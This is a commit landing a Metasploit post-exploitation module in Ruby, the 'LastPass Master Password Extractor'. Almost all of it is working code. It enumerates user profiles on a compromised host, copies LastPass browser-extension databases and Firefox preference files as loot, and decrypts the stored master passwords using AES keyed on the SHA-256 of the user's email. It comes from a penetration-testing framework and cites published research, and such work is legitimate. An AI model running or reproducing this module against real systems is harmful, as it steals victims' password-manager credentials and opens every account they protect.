Land #4004, @martinvigo's LastPass master password extraction module
This commit is contained in:
Jon Hart
commit
c765100efd
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require 'msf/core'
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require 'base64'
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require 'sqlite3'
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require 'uri'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::UserProfiles
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include Msf::Post::OSX::System
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include Msf::Post::Unix
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'LastPass Master Password Extractor',
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'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
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'License' => MSF_LICENSE,
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'Author' => [
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'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
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'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
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'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup
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],
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'Platform' => %w(linux osx unix win),
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'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']],
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'SessionTypes' => %w(meterpreter shell)
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)
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)
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end
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def run
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if session.platform =~ /win/ && session.type == "shell" # No Windows shell support
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print_error "Shell sessions on Windows are not supported"
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return
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end
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print_status "Searching for LastPass databases"
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account_map = build_account_map
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if account_map.empty?
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print_status "No databases found"
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return
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end
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print_status "Extracting credentials from #{account_map.size} LastPass databases"
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# an array of [user, encrypted password, browser]
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credentials = [] # All credentials to be decrypted
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, paths|
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if browser == 'Firefox'
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paths.each do |path|
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data = read_file(path)
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loot_path = store_loot(
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'firefox.preferences',
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'text/javascript',
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session,
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data,
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nil,
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"Firefox preferences file #{path}"
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)
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# Extract usernames and passwords from preference file
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firefox_credentials(loot_path).each do |creds|
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credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
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end
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end
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else # Chrome, Safari and Opera
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paths.each do |path|
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data = read_file(path)
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loot_path = store_loot(
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"#{browser.downcase}.lastpass.database",
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'application/x-sqlite3',
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session,
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data,
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nil,
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"#{account}'s #{browser} LastPass database #{path}"
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)
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# Parsing/Querying the DB
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db = SQLite3::Database.new(loot_path)
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lastpass_user, lastpass_pass = db.execute(
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"SELECT username, password FROM LastPassSavedLogins2 " \
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"WHERE username IS NOT NULL AND username != '' " \
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"AND password IS NOT NULL AND password != '';"
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).flatten
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if lastpass_user && lastpass_pass
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credentials << [account, browser, lastpass_user, lastpass_pass]
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end
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end
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end
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end
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end
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credentials_table = Rex::Ui::Text::Table.new(
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'Header' => "LastPass credentials",
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'Indent' => 1,
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'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
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)
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# Parse and decrypt credentials
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credentials.each do |row| # Decrypt passwords
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account, browser, user, enc_pass = row
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vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
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password = clear_text_password(user, enc_pass)
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credentials_table << [account, browser, user, password]
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end
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unless credentials.empty?
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print_good credentials_table.to_s
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path = store_loot(
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"lastpass.creds",
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"text/csv",
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session,
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credentials_table.to_csv,
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nil,
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"Decrypted LastPass Master Passwords"
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)
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end
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end
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# Returns a mapping of { Account => { Browser => paths } }
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def build_account_map
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platform = session.platform
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profiles = user_profiles
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found_dbs_map = {}
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if datastore['VERBOSE']
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vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
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else
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print_status "Found #{profiles.size} users"
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end
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profiles.each do |user_profile|
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account = user_profile['UserName']
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browser_path_map = {}
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case platform
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when /win/
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browser_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
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'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
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'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
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}
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when /unix|linux/
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browser_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
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}
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when /osx/
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browser_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
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'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
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'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
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}
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else
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print_error "Platform not recognized: #{platform}"
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end
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found_dbs_map[account] = {}
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browser_path_map.each_pair do |browser, path|
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db_paths = find_db_paths(path, browser, account)
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found_dbs_map[account][browser] = db_paths unless db_paths.empty?
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end
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end
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found_dbs_map
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end
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# Returns a list of DB paths found in the victims' machine
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def find_db_paths(path, browser, account)
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paths = []
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vprint_status "Checking #{account}'s #{browser}"
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if browser == "Firefox" # Special case for Firefox
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profiles = firefox_profile_files(path, browser)
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paths |= profiles
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else
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paths |= file_paths(path, browser, account)
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end
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vprint_good "Found #{paths.size} #{browser} databases for #{account}"
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paths
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end
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# Returns the relevant information from user profiles
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def user_profiles
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user_profiles = []
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case session.platform
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when /unix|linux/
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if session.type == "meterpreter"
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user_names = client.fs.dir.entries("/home")
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else
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user_names = session.shell_command("ls /home").split
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end
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user_names.reject! { |u| %w(. ..).include?(u) }
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user_names.each do |user_name|
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user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
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end
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when /osx/
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user_names = session.shell_command("ls /Users").split
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user_names.reject! { |u| u == 'Shared' }
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user_names.each do |user_name|
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user_profiles.push(
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'UserName' => user_name,
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"AppData" => "/Users/#{user_name}/Library",
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"LocalAppData" => "/Users/#{user_name}/Library/Application Support"
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)
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end
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when /win/
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user_profiles |= grab_user_profiles
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else
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print_error "OS not recognized: #{os}"
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end
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user_profiles
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end
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# Extracts the databases paths from the given folder ignoring . and ..
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def file_paths(path, browser, account)
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found_dbs_paths = []
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files = []
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if directory?(path)
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sep = session.platform =~ /win/ ? '\\' : '/'
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if session.type == "meterpreter"
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files = client.fs.dir.entries(path)
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elsif session.type == "shell"
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files = session.shell_command("ls \"#{path}\"").split
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else
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print_error "Session type not recognized: #{session.type}"
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return found_dbs_paths
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end
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end
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files.each do |file_path|
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unless %w(. .. Shared).include?(file_path)
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found_dbs_paths.push([path, file_path].join(sep))
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end
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end
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found_dbs_paths
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end
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# Returns the profile files for Firefox
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def firefox_profile_files(path, browser)
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found_dbs_paths = []
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if directory?(path)
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sep = session.platform =~ /win/ ? '\\' : '/'
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if session.type == "meterpreter"
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files = client.fs.dir.entries(path)
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elsif session.type == "shell"
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files = session.shell_command("ls \"#{path}\"").split
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else
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print_error "Session type not recognized: #{session.type}"
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return found_dbs_paths
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end
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files.reject! { |file| %w(. ..).include?(file) }
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files.each do |file_path|
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found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/)
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end
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end
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found_dbs_paths
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end
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# Parses the Firefox preferences file and returns encoded credentials
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def firefox_credentials(loot_path)
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credentials = []
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File.readlines(loot_path).each do |line|
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if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
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creds_per_user = encoded_creds.split("|")
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creds_per_user.each do |user_creds|
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parts = user_creds.split('=')
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# Any valid credentials present?
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credentials << parts if parts.size > 1
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end
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else
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next
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end
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end
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credentials
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end
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# Decrypts the password
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def clear_text_password(email, encrypted_data)
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return if encrypted_data.blank?
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sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
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sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
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if encrypted_data.include?("|") # Apply CBC
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decipher = OpenSSL::Cipher.new("AES-256-CBC")
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decipher.decrypt
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decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
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decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
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encrypted_password = encrypted_data[26..-1]
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else # Apply ECB
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decipher = OpenSSL::Cipher.new("AES-256-ECB")
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decipher.decrypt
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decipher.key = sha256_binary_email
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encrypted_password = encrypted_data
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end
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begin
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decipher.update(Base64.decode64(encrypted_password)) + decipher.final
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rescue
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print_error "Password for #{email} could not be decrypted"
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end
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end
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end
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